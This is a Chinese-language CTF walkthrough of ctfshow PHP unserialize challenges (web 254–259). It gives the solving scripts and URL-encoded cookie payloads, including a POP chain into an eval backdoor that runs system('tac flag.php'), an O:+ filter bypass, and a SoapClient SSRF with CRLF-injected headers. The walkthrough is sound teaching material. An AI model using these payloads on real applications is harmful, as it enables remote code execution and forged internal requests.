web 254
php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
首先通读一下代码定义了两个变量然后把sivip这个变量设定成了false,然后checkvip这个函数直接返回当前vip的状态,然后login函数是比较传入的user和passs是都等于原来变量里的值,然后 vipOneKeyGetFlag就是输出flag,下面的这个部分就是get方式传参,然后检测一下是否传入userr和pass如果传入了就开始实例化ctfshowuser这个类,如果登录成功的话就进入下一层,如果checkvip返回的结果也是true就触发输出flag的函数,但是最开始已经告诉了我们账号密码的值了所以直接登录就得到flag

web 255
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这题跟上面有一点更改就是isvip不会进行更换了,但是user=unserialize就是反序列化显示然后后面带上user=unserialize 就是反序列化 显示然后后面带上user=unserialize就是反序列化显示然后后面带上_cookie['user'],所以我们需要知道就直接把上面的
php
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$user=new ctfShowUser();
echo serialize($user);
这样就输出了一个序列化后的User对象他的vip属性是true,然后把这个字符串带到cookie里面上传上去然后他会通过反序列化再给到user对象,然后会比较账号密码进行对比,然后再看vip属性,再进行登录,但是还是需要进行get方式的传递,但是序列化之后的字符串还需要进行Url编码所以cookie就应该是:
bash
user=%4f%3a%31%31%3a%22%63%74%66%53%68%6f%77%55%73%65%72%22%3a%33%3a%7b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%35%3a%22%69%73%56%69%70%22%3b%62%3a%31%3b%7d
然后再同时进行?username=xxxxxx&password=xxxxxx
就得到了flag

web 256
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这一题的区别就是username和password不能一样,所以还是只要我的序列化的内容和我get方式输入的内容一样就行,但是序列化中的vip选项都是true,所以还是跟上一题一样
php
<?php
class ctfShowUser{
public $username='a';
public $password='b';
public $isVip=true;
}
$user=new ctfShowUser();
echo serialize($user);
bash
cookie:user=O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%22username%22%3bs%3a1%3a%22a%22%3bs%3a8%3a%22password%22%3bs%3a1%3a%22b%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d
GET方式?username=1&password=b

web 257
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
首先可以看到backDoor类里面有一个eval函数,然后这题是一个poc链,所以然后看到触发函数是getInfo,但是这道题目有两个getInfo,一个是Info类和backDoor类,info类是程序本来的,所以我们要把这个改成backDoor,然后再往上找触发getInfo的条件是一个析构函数,所以就是要把ctfshowuser这个类里的私有属性class改成backDoor就是触发poc链的重点,所以我们进行构造
php
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo(); // 2 backDoor
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor
{
private $code = "system('ls');";
public function getInfo()
{
eval($this->code); // 1 system
}
}
$b=new backDoor();
$c=new ctfShowUser();
$reflection=new ReflectionClass($c);
$property=$reflection->getProperty(class);
$property->setAccessible(true);
$property->setValue($c,$b);
echo urlencode(serialize($c));
再刚才程序的基础上 实体化了两个对象一个backDoor一个ctfshowuser,在这里用了反射类首先$reflection是用来查看对象c里的所有属性,然后property是用来选定对象c中的class属性,然后setAccessible是用来让class属性变得可以修改,然后setValue是把c的class对象修改成backdoor的实例b,然后再输入url编码后序列化的值进行cookie传递,但是代码不能原模原样抄过来进行Code没有进行定义,像执行啥命令需要修改code属性可以看到flag.php,所以直接修改code进行读取就行

web 258
php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这一题最大的区别在于类的公开性,这一题是公开的类属性,所以不用reflectionclass来读取修改私有类的属性了所以还是得先new两个对象一个backDoor一个ctfshowuser,所以直接可以给这个实体化的属性加一个恶意命令,然后把上方的vip改为true,然后把backDoor的值改成ctfshowuser的值,然后序列化一下,因为这个下方有对于oc开头的过滤所以要对我们的命令也进行一个一个加号因为他匹配的是o:9但是变成O:+9就不会被匹配也可以反序列化,所以脚本
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$b=new backDoor();
$b->code="system('tac flag.php');";
$c=new ctfShowUser();
$c->class=$b;
$cc=serialize($c);
$md5=preg_replace('/O:(\d+):/i','O:+$1:',$cc);
echo $md5."\n";
echo urlencode($md5);
然后传参username=xxxxxx&password=xxxxxx
cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D'tac' is not recognized as an internal or external command,

web 259
php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
这道题目给了提示
php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
第一想法是把xff变量直接改成127.0.0.1,但是看了wp之后发现是有代理Cloudflare,这个代理的特点就是会把服务器ip加到第一位然后这个函数中有一个array_pop的作用是去掉数据中的最后一个值,然后用了两次所以就会只剩下代理ip,所以我们只能是用php中的类有一个SoapCilent这个类是用Http作为通用协议,xml为格式,但是如果我们去调用这个SoapCilent这个类中不存在的函数,就会触发__call方法,call方法会向目标发送Http请求,然后尝试一下用一下SoapClient 第一个参数选Null,方正就是不适用正常服务的api接口的意思把,然后后面设置一个目标访问地址还有命名空间都设置成127.0.0.1然后监听一下端口,然后触发一下SoapCilent类中的call方法让他发送流量包
php
<?php
$cilent= new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999"));
$cilent->getFlag();
?>

可以看到这里是SoapAction这个中的值是我们可控的
然后这里就要说到第二个知识点了也就是CRLF其实就是回车,因为提示上有要求是必须token值还有要求,所以我们要利用ua头插入的,因为SoapCilent这个类中没有那么多的参数,所以得需要用换行符在window操作系统下就是\r\n是换行符
然后提交的参数有ua是ctfshow然后xff也就是ip源地址肯定是127.0.0.1这里要复写三遍原因就是上面写过会去掉两个,然后这里的ctfshow其实是Post方式的所以要设置post方式的数据类型是application/x-www-form-urlencoded然后Content_Length是Post传递的值的长度,然后就是token=ctfshow正好是13个字符,然后每个值中间都要加上一个\r\n
然后再加上uri=127.0.0.1和loction:127.0.0.1,user_agent=上面说的这一串的变量 为啥要用ua呢相当于大家插了他的队都在他这个格子所以肯定得带上他这样就完成了条件,所以Payload就是这样
php
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\ntoken=ctfshow";
$cilent=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1/9999",'user_agent'=>$ua));
$cilent->getFlag();
?>

真实的Payload其实还得改一下xff要复写三次,然后访问的地址要改成flag.php
php
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$cilent=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($cilent));
?>
可以看到http消息中满足该题的条件,所以序列化一下然后Url编码一下赋值给vip,vip收到后解码然后触发反序列化,解码后就得到了SoapClient这个类,然后发现触发了一个没有的方法就触发了_call方法,然后就会发送设计好的http请求,然后需要改一下location访问的网址是127.0.0.1的Flag.php,payload中就不需要去使用没有的函数了因为服务器端使用了,才能访问服务器本身,然后传参再访问flag.txt就得到flag了
